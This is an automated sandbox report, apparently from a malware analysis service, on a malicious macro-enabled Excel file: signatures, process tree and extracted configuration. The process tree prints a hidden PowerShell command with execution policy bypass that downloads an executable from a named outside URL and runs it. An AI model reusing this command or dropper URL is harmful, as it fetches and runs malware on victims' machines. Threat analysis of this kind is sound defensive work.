Overview

overview

10

Static

static

000183_004...0.xlsm

windows7_x64

10

000183_004...0.xlsm

windows10_x64

10

Analysis

  • max time kernel
    118s
  • max time network
    145s
  • platform
    windows10_x64
  • resource
    win10v200430
  • submitted
    10/07/2020, 16:58

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    000183_004Sorters_BratneyCompaniesFeb2020.xlsm
  • Size 139KB
  • Sample200710-lckecpys82
  • SHA256 1509ca07d232b2bb379cd9aa007112beae4ca6c88039906f4faa94b8e7ce47f3
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://phanmemtinhtiendanang.com/modules/mod_verison/EventCYR.exe

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of WriteProcessMemory 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 21 IoCs
  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\000183_004Sorters_BratneyCompaniesFeb2020.xlsm"
    1⤵
    • Suspicious use of WriteProcessMemory
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious use of SetWindowsHookEx
    • Suspicious behavior: AddClipboardFormatListener
    PID:428
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://phanmemtinhtiendanang.com/modules/mod_verison/EventCYR.exe',$env:Temp+'\Bratney.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\Bratney.exe')
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2784
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://phanmemtinhtiendanang.com/modules/mod_verison/EventCYR.exe',$env:Temp+'\Bratney.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\Bratney.exe')
        3⤵
        • Suspicious use of WriteProcessMemory
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious behavior: EnumeratesProcesses
        • Blacklisted process makes network request
        PID:3836
        • C:\Users\Admin\AppData\Local\Temp\Bratney.exe
          "C:\Users\Admin\AppData\Local\Temp\Bratney.exe"
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious behavior: EnumeratesProcesses
          • Executes dropped EXE
          PID:3660
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3660 -s 1188
            5⤵
            • Suspicious use of AdjustPrivilegeToken
            • Program crash
            • Suspicious behavior: EnumeratesProcesses
            PID:3476

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/3476-10-0x00000000044B0000-0x00000000044B1000-memory.dmp
        Download

        memory/3476-24-0x00000000050F0000-0x00000000050F1000-memory.dmp
        Download

        memory/3476-9-0x00000000044B0000-0x00000000044B1000-memory.dmp
        Download